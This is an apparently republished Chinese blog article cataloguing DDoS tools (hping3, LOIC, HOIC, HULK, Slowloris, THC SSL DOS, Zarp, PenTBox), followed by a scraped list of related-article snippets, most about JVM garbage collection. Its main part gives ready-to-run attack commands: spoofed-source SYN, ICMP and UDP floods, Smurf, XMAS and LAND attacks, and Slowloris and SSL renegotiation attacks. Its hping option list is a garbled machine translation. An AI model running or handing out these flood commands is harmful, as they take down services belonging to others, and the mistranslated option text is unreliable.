python ddos攻击_DDoS攻击工具

article/2025/9/19 12:40:30

DDoS攻击工具

综合性工具

综合性工具除了可以进行DDoS攻击外,还可用于其他的用途,例如:端口扫描、安全审计、防火墙等。实际上,大部分综合性工具开发的原始目的并不是用于DDoS,而是“网络检查或测试工具”

Hping

? Hping是一个编码和解码TCP/IP协议的命令行开发工具,常用于测试网络及主机的安全,同时也可以做安全审计、防火墙测试等工具的标配工具;Hping的命令行就像常用的ping命令,不同的是,它不仅能发送ICMP请求,而且支持TCP、UDP、RAW-IP等协议;Hping的特色在于能够定制数据包的各个部分。

? Hping常常别用做网络攻击工具,使用Hping可以方便的额构造DoS攻击,如:ICMP洪水攻击、UDP洪水攻击、SYN洪水攻击等。

? Hping的常用功能包括网络压力测试、防火墙测试、端口扫描等。

-H——帮助显示此帮助

-V—版本显示版本

-C——发送数据包的数据项目

-i——间隔发送数据包的间隔时间(u即微秒)(u x表示x微秒,例如-i u1000)

---i u10000的快速别名(每秒10个数据包)

---i u1000的更快别名(每秒100个数据包)

--Flood快速发送数据包,不显示返回

-n——数字化输出

-Q——安静安静模式

-i——接口接口名称(否则为默认路由接口)

-v——详细详细模式

-d——调试调试信息

-z—将bind ctrl+z绑定到ttl(默认为dst端口)

-Z—取消绑定取消绑定ctrl+z

--每收到一个匹配的数据包都会发出哔哔声

模式

默认模式TCP

-0—RAWIP原始IP模式

-1—ICMP ICMP模式

-2——UDP UDP模式

-8——扫描扫描模式。

示例:hping--scan 1-30,70-90-s www.target.host

-9——听-听模式

知识产权

-a—欺骗源地址

--随机目的地地址模式。见那个人。

--随机源地址模式。见那个人。

-T—TTL TTL(默认为64)

-n—ID ID(默认随机)

-w——win id使用win*id字节排序

-r——rel relativize id字段(用于估计主机流量)

-f——用更多的碎片分割数据包。(可能通过弱ACL)

-x—morefrag设置更多片段标志

-Y—Dontfrag集不分段标志

-g—fragoff设置碎片偏移量

-m——mtu设置虚拟mtu,意味着——如果包大小大于mtu,则为frag

-o--tos服务类型(默认为0x00),尝试--tos帮助

-g——route包括记录路由选项并显示路由缓冲区

--LSRR松散源路由和记录路由

--SSRR严格的源路由和记录路由

-h--ipproto设置IP协议字段,仅在原始IP模式下

ICMP

-C—icmp type icp类型(默认回显请求)

-k—ICMPCode ICMP代码(默认为0)

--强制ICMP发送所有ICMP类型(默认仅发送支持的类型)

--icmp gw为icmp重定向设置网关地址(默认为0.0.0.0)

--icmp ts别名--icmp--icmptype 13(icmp时间戳)

--ICMP地址别名--ICMP--ICMPType 17(ICMP地址子网掩码)

--ICMP帮助显示其他ICMP选项的帮助

UDP/TCP协议

-S—基址端口基址源端口(默认随机)

-p--destport[+]+]destination port(默认值0)ctrl+z inc/dec

-k——保持源端口静止

-w—win winsize(默认值64)

-o——tcpoff设置假tcp数据偏移量(而不是tcphdrlen/4)

-q—seqnum仅显示TCP序列号

-B—badcksum(尝试)发送具有错误IP校验和的数据包

许多系统将修复发送数据包的IP校验和

因此,您将得到错误的UDP/TCP校验和。

-m——setseq设置TCP序列号

-L—set ack设置tcp ack

-F—fin设置fin标志

-S—SYN设置SYN标志

-R——RST设置RST标志

-P——推集推标志

-A—ACK设置ACK标志

-U—URG设置URG标志

-x—xmas set x unused标志(0x40)

-Y—Ymas设置Y未使用标志(0x80)

--tcp exit code使用最后一个tcp->th_标志作为退出代码

--tcp mss使用给定值启用tcp mss选项

--tcp timestamp启用tcp timestamp选项来猜测hz/uptime

共同的

-d——数据数据大小(默认值为0)

-e——文件中的文件数据

-E——签名加上“签名”

-j——以十六进制转储数据包

-j——打印转储可打印字符

-B——安全启用“安全”协议

-u——结束,告诉你什么时候——文件到达eof,并防止倒带。

-t——traceroute traceroute模式(意味着——bind和——ttl 1)

--在traceroute模式下接收第一个非ICMP时,tr停止退出

--tr keep ttl保持源ttl固定,仅用于监视一个跃点

--tr no rtt不在traceroute模式下计算/显示rtt信息

ARS包描述(新的、不稳定的)

--APD发送发送APD描述的数据包(见docs/apd.txt)

Hping操作

20190610211444728102.png

20190610211445179292.png

上两张图是Hping3命令界面和目标192.168.2.191主机的拦包结果:

Hping命令使用的是 -i:是间隔100000微秒(其中u是微秒单位)发送数据包的间隔时间

-0—RAWIP原始IP模式

-1—ICMP ICMP模式

-2—UDP UDP模式

-8—扫描扫描模式

-a:伪造源IP地址为xxx.xxx.xxx.xxx

20190610211445490827.png

20190610211445754509.png

SYN Flooding(SYN洪水攻击)

hping3 目标主机IP -i u微秒时间 -S -a 伪造的源IP

20190610211446062138.png

20190610211446230113.png

伪造IP的ICMP封包

hping3 目標主機IP -i u100000 -1 -a 偽造來源IP

SYN+FIN

hping3 目標主機IP -i u100000 -S -F -a 偽造來源IP

20190610211446679349.png

20190610211446979165.png

FIN+SYN+RSP+PSH+ACK+UDP

hping3 目标主机IP -i u100000 -F -S -R -A -U -a 伪造来源IP

20190610211447466489.png

20190610211447729194.png

伪造IP的UDP封包

hping3 目标主机IP -i u100000 -2 -a 伪造来源IP

20190610211448046589.png

20190610211448238979.png

上述的命令中,伪造了源IP向目标主机发送了UDP数据包

伪造IP内含数据代码

hping3 目标主机IP -i u100000 -d[封包数据] -E[文件名] -a[伪造源IP]

SMURF攻击

结合使用了IP欺骗和ICMP回复方法使大量网络传输充斥目标系统,引起目标系统拒绝为正常系统进行服务。

hping3 -1 -a 192.168.1.5 192.168.1.255

XMAS TREE攻击

hping3 -SFRP 目标IP

LAND攻击

hping3 -k -S -s 25 -p 25 -a 伪造源IP地址

用tcpdump的记录流量

PenTBox

兼容windows、mac os、Android;基于Ruby开发。

三个主体功能

密码算法工具

网络工具(压力测试、溢出攻击)

Web安全测试工具

20190610211448549538.png

Zarp

Zarp是一款采用python编写的而网络攻击测试集成工具Zarp仅限运行在Linux平台,Zarp的主要接口是一个CLI驱动的图形界面。

启动Zarp.py

20190610211448881582.png

20190610211449309333.png

压力测试工具

LOIC

LOIC,低轨道离子炮;开源的网络压力测试工具。

Windows平台LOIC启动界面

20190610211449582781.png

LOIC的不足之处在于他不可以伪造源IP地址。

LOIC可以对目标发动TCP、UDP以及HTTP GET等洪水攻击

HOIC

HOIC,高轨道离子炮;是一款基于HTTP协议的开源DDoS工具,HOIC主要用于内部网络和外部服务器安全性和稳定性能测试;

HOIC可以发送多线程的HTTP FLOOD洪水攻击;同样额HOIC也同样无法隐藏源IP地址。

HULK

? HULK是一款基于Python的Web压力测试工具。HULK默认启动500线程对目标发起高频率的HTTP GET洪水攻击请求,独特之处在于,每一次的请求都是独一的,由此可以绕开服务器端采用缓存的防范措施。同时HULK也支持User-Agent和referer的伪造。

专业的攻击工具

Slowloris

Slowloris是一个Perl程序。(也有Python的版本)

? Slowloris的使用较为简单,一般分为两个步骤:

首先是对目标进行探测:

perl slowloris.pl -dns 目标IP -port 目标端口号 -test

20190610211450472464.png

? 对目标进行探测的主要目的是获取目标服务器的连接时间,当目标服务器的时间超时小于166秒,工具运行会出现异常,所以建议选择超时时间大于200秒以上的目标。

测试中,首要是确定目标的对象IP,然后进行多次的超时时长的探测。

实施攻击

perl slowloris.pl -dns 目标IP -port 目标端口号 - timeout TTL

20190610211450708801.png

TTL指的是根据之前的探测,设置一个合适的超时时间;因为Slowloris攻击方法主要就是依靠超时占用对方资源而实现DoS攻击的目的,所以还是需要这只一个合适的超时时间的。

? 在之前提过,该攻击方法是有不足的,只能针对部分的web服务端有效;目前收到影响的有:Apache1.x/2.x、dhttpd、GoAhead、WebServer、Squid等;而IIS则不受影响。

R.U.D.Y

? RUDY采用一种慢速的HTTP POST请求的方式给目标发动攻击。与之前的Slowloris利用请求Header部分不同,RUDY利用的是请求的body部分;因为服务器端会根据Content-Length字段的内容值持续等待,直到客户端数据发送完毕。

太繁琐,不用了。

THC SSL DOS

? THC SSL DOS 利用SSL中已知弱点而使其DoS;这种攻击是非对称的,一次客户请求就可以让服务端进行相当于客户端的15倍的CPU资源进行处理。

20190610211451036938.png

thc-ssl-dos --accept xxx.xxx.xxx.xxx [prot]xx

如果目标禁用或启动了安全的 rengotiation ,则会提示攻击失败。

利用THC SSL DOS工具,一台性能和带宽中等的主机就可以挑战高性能的服务器;攻击效果非常明显。

原文地址:https://www.cnblogs.com/wangyuyang1016/p/11000172.html


http://chatgpt.dhexx.cn/article/lZNcjL0U.shtml

相关文章

02.iptables攻击防御

DDOS 攻击 分布式拒绝服务(Distributed Denial of service) 多计算机联合发起DOS攻击,造成目标机器资源耗尽、系统过载 DDOS 攻击方式 Ping flood:大量ping包 Ping of Death:修改后的ping包,如造成逻辑错…

畸形报文攻击(1)

畸形报文攻击(1) 0x01 写在前面 最近在工作之余,都在看CTF东西,然后和朋友们玩狼人杀玩到昏天黑地,差点忘记要把对畸形报文攻击的研究记录下来,这篇文章的内容是畸形报文攻击中的smurf攻击,land攻击,Fragg…

单包攻击防御

单包攻击防御 目录 单包攻击防御 畸形报文攻击防御 1.smurf攻击 处理方式 2.Land攻击 处理方式 3.Fraggle攻击 处理方式 IP分片报文攻击 (IP Fragment攻击) 定义: 处理方式 Ping of Death攻击 定义 处理方式 TCP报文标志位攻…

【计算机网络原理·实验·第八章】SYN攻击Land攻击

SYN攻击和land攻击,使用 虚拟机环境测试。 SYN攻击:发送端发送数据时截获该数据包,然后篡改发送端的源IP地址并发给服务器,服务器会返回给错误的IP地址确认数据包,而收到确认数据包计算机会忽略该请求,然而…

着陆攻击LAND Attack

2019独角兽企业重金招聘Python工程师标准>>> 着陆攻击LAND Attack 着陆攻击LAND Attack也是一种拒绝服务攻击DOS。LAND是Local Area Network Denial的缩写,意思是局域网拒绝服务攻击,翻译为着陆攻击只是一种错误的理解。攻击原理为&#xff0…

浅析GC-垃圾回收

前置知识 CLR:公共语言运行时 CLR(Common Language Runtime):CLR的核心功能包括内存管理,程序集加载,类型安全,异常处理和线程同步,而且还负责对代码实施严格的类型安全检查&#…

【JVM】垃圾回收机制详解(GC)

目录 一.GC的作用区域二.关于对象是否可回收1.可达性分析算法和引用计数算法2.四种引用类型 三.垃圾收集算法1.标记-清除算法2.复制算法3.标记-整理算法4.分代收集算法 四.轻GC(Minor GC)和重GC(Full GC) 一.GC的作用区域 可以看jvm详解之后,再来理解这篇文章更好 …

垃圾回收机制的各种疑问

目录 jvm的内存模型中,运行时数据区分为哪几个部分?JVM如何判断一个对象所占内存是可以被回收的?什么是年轻代?方法区和永久带的联系是什么?为什么要分年轻代和老年代?为什么新生代和老年代要采用不同的回收…

垃圾回收(GC) 很干,很全

说一下垃圾回收机制 垃圾回收主要针对的是JVM的堆内存,我讲一下我了解的hotspot实现的jvm, 分为新生代和老年代,按照以前的说法,还有一个永久代,永久代在方法区里(物理上跟老年代相连),保存了class信息,静态变量,常量池等, jdk1.8之后,方法区实现发生了变化,取消了永久代的概念…

浅谈垃圾回收机制

目录 前言: 1.标记清除(主要) 2.引用计数(次要) 3.一些注意的点 前言: JavaScript的垃圾回收机制是为了防止内存泄漏的,所谓的内存泄漏是指当已经不需要某块内存时这块内存还存在着&#xff…

通过图文给你讲明白java GC的垃圾回收机制

本文原链接 http://www.oracle.com/webfolder/technetwork/tutorials/obe/java/gc01/index.html 1. JAVA GC 概述 JAVA GC采用了分代思想,将java堆分成新生代,年老代,永久代。GC算法主要有标记-清除,标记-压缩,复制算法。 新生代…

jvm垃圾回收是什么时候触发的? 垃圾回收算法? 都有哪些垃圾回收器

1.1。那究竟GC为我们做了什么操作呢? 1 ,哪些内存需要回收? 2 ,什么时候回收? 3 ,如何回收? 这时候有人就会疑惑了,既然GC 已经为我们解决了这个矛盾,我们还需…

Java回收垃圾的基本过程与常用算法

目录 一、基本概述 二、垃圾分类 基本背景 举例说明各种引用类型的作用 强引用(Strong Reference) 软引用(Soft Reference) 弱引用(Weak Reference) 虚引用(Phantom Reference&#xff…

java面试-GC垃圾回收机制

原理: GC是垃圾收集的意思(Garbage Collection),Java提供的GC功能可以自动监测对象是否超过作用域从而达到自动回收内存的目的。 简而言之,GC是将java的无用的堆对象进行清理,释放内存,以免发生内存泄露。…

JVM垃圾回收算法、GC和分代回收、三色标记并发漏标、垃圾回收器

一.标记清除 标记速度与存活对象线性关系 清除速度与内存大小线性关系 标记清除法分为标记阶段和清除阶段,标记阶段首先找到一些GC Root对象(根对象),根对象是那些一定不能被回收的对象。清除阶段比较简单,加标记的对…

垃圾回收的主要区域是堆,那方法区会回收吗?

有些人认为方法区(如HotSpot虚拟机中的元空间或者永久代)是没有垃圾收集行为的,《Java虚拟机规范》中提到过可以不要求虚拟机在方法区中实现垃圾收集,事实上也确实有未实现或未能完整实现方法区类型卸载的收集器存在(如…

GC(垃圾回收)详解

JVM 1.年轻代:年轻代主要存放新创建的对象,垃圾回收会比较频繁。(稍微讲细一点就是即可,年轻代分成Eden Space和Suvivor Space。当对象在堆创建时,将进入年轻代的Eden Space。垃圾回收器进行垃圾回收时,扫描Eden Spac…

java---垃圾回收算法(GC)

目录 一、如何判断一个对象是否存活 1.引用计数法 2.可达性分析法 二、垃圾回收算法 1.标记清除法 2.复制算法 3.标记整理法 4.分代算法 具体流程 注意事项 空间分配担保原则 总结 一、如何判断一个对象是否存活 Java 堆中存放着几乎所有的对象实例,垃圾…

Java - GC 垃圾回收

JVM中一个垃圾回收线程,它的优先级较低,正常情况下不会执行。JVM空闲或者当前内存不足时,才会触发垃圾回收线程执行,扫描内没有被引用的对象,将这些对象添加到要回收的集合中进行回收。 GC介绍 Garbage Collection 垃圾收集,监测对象是否可…

GC是如何判断一个对象为垃圾的?被GC判断为垃圾的对象一定会被回收吗?

一.GC如何判断一个对象为”垃圾”的 java堆内存中存放着几乎所有的对象实例,垃圾收集器在对堆进行回收前,第一件事情就是要确定这些对象之中哪些还“存活”着,哪些已经“死去”。那么GC具体通过什么手段来判断一个对象已经”死去”的? 1.引用计数算法(…